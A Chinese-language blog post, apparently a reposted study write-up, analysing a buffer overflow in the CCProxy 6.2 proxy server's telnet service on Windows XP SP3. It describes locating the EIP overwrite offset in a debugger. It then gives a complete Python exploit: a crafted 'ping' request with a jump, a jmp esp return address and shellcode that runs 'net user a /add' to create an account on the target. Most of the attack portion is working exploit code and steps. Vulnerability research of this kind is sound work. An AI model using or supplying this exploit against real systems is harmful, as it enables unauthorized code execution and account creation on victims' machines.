CCProxy 6.2 溢出漏洞分析

来源:互联网 发布:江西软件先锋学院 编辑:程序博客网 时间:2024/06/08 21:59

操作系统:Microsoft windows XP SP3

溢出软件:CCPROXY            http://pan.baidu.com/s/1pJI0loZ

 

CCProxy于2000年6月问世,是国内最流行的下载量最大的的国产代理服务器软件。主要用于局域网内共享宽带上网,ADSL共享上网、专线代理共享、ISDN代理共享、卫星代理共享、蓝牙代理共享和二级代理等共享代理上网。

该版本存在溢出漏洞

第一步运行,打开cmd,输入telnet 127.0.0.1后,显示如图

2.于是就用OD加载程序,并搜索字符串CCProxy Telnet Service Ready.并下断点

3.其实上边没什么用,因为这个涉及到通信,程序要接收数据,就要有recv,于是寻找,但是没找到,找到了WSArecv,下断点。

4.接着ping

5.程序断在断点处,接着F8往下运行。

6.查找host not found,并设断点。

7.多输入aaaaaa…..查找溢出点。

8.关注栈。

发现返回地址都被aaaa覆盖了,经过实验,发现是1013到1016个字节覆盖了EIP.

发现输入数据开始处为0x012*62fc , jmp esp后程序开始执行0x012*6700处的代码,在该处,此处的代码是输入数据开始的部分,于是在此处写下一个jmp指令,使其跳转到shellcode处。因为直接复制粘贴总是出现各种问题,于是用python写了一个exploit。

 

import socket

import os

 

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

sock.connect(('127.0.0.1',23))  #telnet用的是23端口

 

s = sock.recv(4096)   #接收CCProxy Telnet Service Ready

print(s)

 

p =b'ping ' + b'\x90'*4                         #ping

jmp = b'\xE9\x03\xFC\xFF\xFF\x90\x90\x90'       #0x012*6700跳到0x012*6308

shellcode= b'\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x0C\xC6\x45\xF0\x6E\xC6\x45\xF1\x65\xC6\x45\xF2\x74\xC6\x45\xF3\x20\xC6\x45\xF4\x75\xC6\x45\xF5\x73\xC6\x45\xF6\x65\xC6\x45\xF7\x72\xC6\x45\xF8\x20\xC6\x45\xF9\x61\xC6\x45\xFA\x20\xC6\x45\xFB\x2F\xC6\x45\xFC\x61\xC6\x45\xFD\x64\xC6\x45\xFE\x64\x8D\x45\xF0\x50\xB8\xC7\x93\xBF\x77\xFF\xD0'  

                       

junk = b'a'*920                #填充字符

jmpesp = b'\x12\x45\xfa\x7f'     #经典的jmp esp覆盖ret

p = p+jmp+shellcode+junk+jmpesp+b'\x90'*16       #将整个shellcode整合起来

 

sock.send(p)                         #发送shellcode

sock.send(b'\n')

 

s = sock.recv(4096)

print(s)

 

运行这个python脚本后,F8一路走到ret处,

此时的栈顶内容为jmp esp的地址

执行ret 0xc 、jmp esp 指令后,程序来到了jmp 012*6308这里,然后一跳,就来到了真正的shellcode

执行完这个shellcode后,在cmd中输入net user查看用户账户。

运行成功!

 

 

 

0 0
原创粉丝点击